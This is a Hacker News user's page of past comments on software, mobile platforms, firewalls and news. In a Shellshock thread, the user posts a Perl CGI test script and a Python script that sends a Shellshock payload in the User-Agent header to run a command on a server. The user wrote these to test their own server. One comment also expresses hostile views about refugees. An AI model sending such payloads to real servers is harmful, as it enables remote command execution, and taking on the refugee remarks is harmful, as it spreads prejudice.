HNHacker News
TopNewBestAskShowJobs

candl

212 karma · joined February 17, 2011

submissionscomments
candl··on Linux QoS for humans
I am not that familiar with iptables/tc, but could the tc definitions created by fireqos be consumed by iptables + ipset (say I have an ipaet storing ip addresses and I want to provide a different qos profile for each ip) ?
candl··on Refugees Welcome
It "amazes" me why these "refugees" flock to Germany or Great Britain and not to their very wealthy brethren in countries such as Kuwaii, Egypt, Qatar, Saudi Arabia, Arab Emirates, etc... Same culture, same religion and they are much closer!

It also amazes me why the EU leaders insist for other European countries to accept these "refugees" when the majority of EU countries is not responsible for this situation at all.

Luckily there are some leaders out there that are not afraid of this stupid political correctness and they build fences on their borders because they know what this might lead to.

candl··on Is Windows Phone Dead?
True. Most of this site's visitors probably live in the US or maybe Western Europe. Extrapolating what they see around them to the rest of the world is silly. I for instance live in a country where the exact opposite conclusions can be made at least compared to a lot of posts in this thread: OSX? Non-existant, probably more so than Desktop linux installations. Chromebooks? No one has seen them. Windows Phone? Doing fine and is second in sales after Android. Apple's iOS? Sometimes can be spotted in the wild, but it's not popular at all.
candl··on DragonFly BSD 4.2 released
I've recently learnt they are rewriting IPFW (https://www.dragonflybsd.org/docs/ipfw2/) to fully take advantage of DFly's features. Eventhough I am not particularly fond of IPFW's syntax and prefer PF it's nice to see that a good SMP friendly firewall is in the works.
candl··on “Swift will be open source later this year”
Microsoft is actually building an Objective-C runtime for Windows 10 aka Project Islandwood as a bridge for iOS apps to run on Windows.

https://dev.windows.com/en-us/uwp-bridges/project-islandwood

https://news.ycombinator.com/item?id=9471204

So ironically this announcement might benefit Microsoft a lot.

candl··on “Swift will be open source later this year”
Seeing as Objective-C has never took off on non Apple platforms (and is not any useful without Cocoa APIs) why would Swift be an exception?
candl··on Introducing F# 4.0
There is a lot more details on the MSDN blogs:

http://blogs.msdn.com/b/dotnet/archive/2015/04/29/rounding-o...

http://blogs.msdn.com/b/fsharpteam/archive/2014/11/12/announ...

For me the most welcome change is the vastly improved consistency of the Seq/List/Array APIs.

candl··on Open Source .NET libraries that make your life easier
I've recently discovered Linq2Db. Works great for CRUD in conjunction with Dapper. https://github.com/linq2db/linq2db It also comes with handy T4 templates to generate models.
candl··on Some thoughts after (almost) a year of real Xamarin use
Here's a recent extensive benchmark against popular cross-platform toolkits: https://medium.com/@harrycheung/cross-platform-mobile-perfor... (including memory usage)
candl··on CoreCLR is now open source
ASP.NET is a big framework and indeed it's never been as smooth as it could be, especially with the very latest versions. It's not to say that web dev is not possible with Mono. I've been using Owin+Nancy+Signalr successfully on Linux.
candl··on Nokia threatens London startup over 'HERE'
Possibly yes: http://www.pcmag.com/article2/0,2817,2409669,00.asp
candl··on Microsoft to invest in Cyanogen
No, you are not alone. I recently got a LG G3 with Lollipop. This is my first new Android phone in 2.5 years and I think it's going to be the last. It can't even compete performance wise with my older Lumia 920 in day to day tasks. Can't say the hardware is bad on the phone, but the software is underwhelming (typical Android laginess that makes it annoying to use)...
candl··on Use ReactJS to Build Native Apps
I doubt it would happen at runtime in iOS/Android, though? They would need to ship a JS interpreter that gets run on application startup, parse the React files, instantiate the native controls and create a bridge between them back to the JS interpreter?

Well on second thought I guess Appcelerator Titanium does something similar. So it's native UI only, but with the added overhead (JS interpreter + bridge, larger binary size, slower startup, etc.).

candl··on 10yr+ PHP Dev Wondering: Python vs. PHP for Web Applications?
I don't use PHP at all, but one thing I envy PHP (and Perl) users is that they have excellent libraries to interact with SQL databases in the form of PDO (PHP) and DBI (Perl). There's no direct equivalent of this in Python which is a shame. The mantra in Python land is to use ORMs which I am not a fan of.
candl··on Hubble captures the sharpest ever view of Andromeda Galaxy
So true :). Here's an equally amazing zoomable picture of the Milky Way: http://www.eso.org/public/images/eso1242a/zoomable/
candl··on Microsoft takes .NET open source and cross-platform
According to Scott, both projects will merge together:

https://twitter.com/shanselman/status/532558786486370304

candl··on Everything you need to know about the Shellshock Bash bug
Passing a shell metacharacter to the system function does indeed then trigger the vurnerability. Thanks as I didn't realize it wasn't calling the shell otherwise.
candl··on Everything you need to know about the Shellshock Bash bug
Odd. I am running quite old software:

  echo $0 -> bash
  ls -l /bin/sh -> /bin/bash
  GNU bash, version 3.1.17(2)-release
  Apache/2.2.25
And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable.

  #test-cgi.pl
  use strict;
  use warnings;
  use CGI;
 
  print "Content-Type: text/plain\n\n";

  my $q = CGI->new();

  print "\nHEADERS:\n==============\n";
  my %headers = map { $_ => $q->http($_) } $q->http();
  foreach my $k ( keys %headers ) {
          print "$k\n $headers{$k}\n";
  }

  system("echo hello");


  #request.py
  import socket
  def build_request(meth, host, path, headers=None):
      req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path,   host)
      if headers is not None:
          req = req + "\r\n".join(headers) + "\r\n"  
      return req + "\r\n"

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  ip_addr = 'xxx.xxx.xxx.xxx'
  sock.connect((ip_addr, 80))
  headers = [      
      'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',  
  ]
  req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers) 
  sock.sendall(req)
candl··on Everything you need to know about the Shellshock Bash bug
I don't quite get it yet. Let's suppose someone sends a header like this: 'User-Agent:() { :; }; touch /tmp/shellshocked'

Then in my cgi script I do a harmless system('date') call. The file /tmp/shellshocked won't be created right? The file would have been created had I done for example a system('echo $HTTP_USER_AGENT') call. (That is, one needs to explicitly reference the environment variable that gets passed to bash). Is my understanding correct?

candl··on The Qt Company Introduces a Unified Website
There's one available online: http://qmlbook.org/ As the name says, it covers basically just QML, but QML is an important foundation of modern QT5 so I guess the book is very nice to have.
candl··on Why We Use OCaml
They mention they use Ocaml for server-side tasks. Is there a popular solution in OCaml for writing web pages or rest apis?
candl··on The March Towards Go
I tried to like Go. I was allured by the native compilation and quite low memory footprint while still being quite high level, but I just can't. I can't stand it forces you to use K&R style. I can't stand the verbose error handling. I can't stand the inconsistency in the built-in types and libraries. I hate that unused variables and imports are a compile error which is just stupid and kills all the fun in programming. To me Go feels like a reincarnation of Fortran 77 with all the restrictions it imposes. There are some good and cool things about Go, no doubt about it but it many places it's just too cumbersome which is unforgivable in this day and age.
candl··on The Case for React.js and ClojureScript
These seem to be React wrappers around KendoUI. There are wrappers in Knockout for the same library as well. http://kendo-labs.github.io/knockout-kendo/index.html Writing custom bindings in Knockout is quite easy. I also do not understand the appeal of React. Performance is often cited because of the virtual DOM implementation, but for example in this benchmark Knockout is three times faster than React in my browser. http://vuejs.org/perf/todomvc-benchmark/ The only criticism that can be made against Knockout is the syntax when using observables in bindings (the ugly and error prone parentheses) and lack of reusable components. The first is solvable by using the Knockout-ES5 plugin if we are willing to drop IE6 to IE8 support. As for the second, components are finally comming to Knockout: https://github.com/knockout/knockout/pull/1396
candl··on An Opinionated Guide to Modern Java Development, Part 1
I've used Dropwizard but with my latest project I dropped it in favor of assembling libraries manually. There's nothing wrong with Dropwizard per se, it's biggest strength is that everything you need works out of the box, but it bundles some older versions of libraries (like jersey, jetty). I am now using latest Jersey, Jetty (embedded), Atmosphere, Ebean and RxJava with Kotlin. It wasn't that hard to setup everything manually and the benefit is that I can add anything I want. I work with Python and C# mostly and don't have that much experience with Java/JVM, but I really like this setup. I've also considered Play 2 with Java, but it didn't feel right to me and the documentation was out of date. Perhaps it's better with Scala, but I don't really want to learn an entire new language and ecosystem. Kotlin is similar to C# so for me it was a breeze to pick it up and I can transparently use any Java library with Kotlin by just importing it.
candl··on Ask HN: How viable is F# on Mono for real-life web apps?
Awesome, I wasn't aware of evhttp-sharp. On first glance it seems not to provide any Owin middleware compatibility, but it should be easy to do a small server factory that plays with Microsoft.Owin.Hosting and get that out of the box. I've also found https://github.com/Bobris/Nowin a while ago - very fast on Windows, but I can't get it to work on Mono 3.4 on linux, locks on the first request.
candl··on Microsoft Open Sources C# Compiler
Yep, he's compiled on stage an IOS app with a version of Mono that had Roslyn integration.
candl··on Microsoft introduces Universal Windows apps
No, definitely just a WebView. Still having a set of quality cross-platform MVVM-aware components for HTML5 is nice.
candl··on Microsoft introduces Universal Windows apps
They've just announced they are making WinJS cross-platform and open source (under Apache license). Now I haven't used WinJS, I haven't ever developed a WinRT app (just a few for the Phone), but doesn't WinJS have a ton of quality components, even more so than WinRT XAML? This seems pretty awesome.
candl··on BlackBerry loses $423M in last quarter as revenue plunges
ECC1 claims are simply false. His Lenovo x120e can barely handle Eclipse. It's no wonder the experience is worse than his '10K$ Mac setup' ...

I've developed native apps for BB10. The tooling is decent. It's a bit heavy since it's based on Eclipse but I had no problems with it. You can also use QtCreator with BlackBerry 10, but I've never tried it. You will mostly use Qt-based APIs anyway in your app, so there's no issue with support. The documentation for BB10 Cascades APIs is very good. There are also lots of official and community submitted samples on Github. For questions I've always used their developer forums which were active.

candl··on Ukraine places forces on combat alert and threatens war
Meanwhile Aleksei A. Navalny, Russia’s leading opposition figure, was placed under house arrest on Friday and ordered not to use the Internet or telephone for two months, thus removing President Vladimir V. Putin’s fiercest critic from public life.

http://www.nytimes.com/2014/03/01/world/europe/aleksei-naval...

← PreviousPage 2 of 4Next →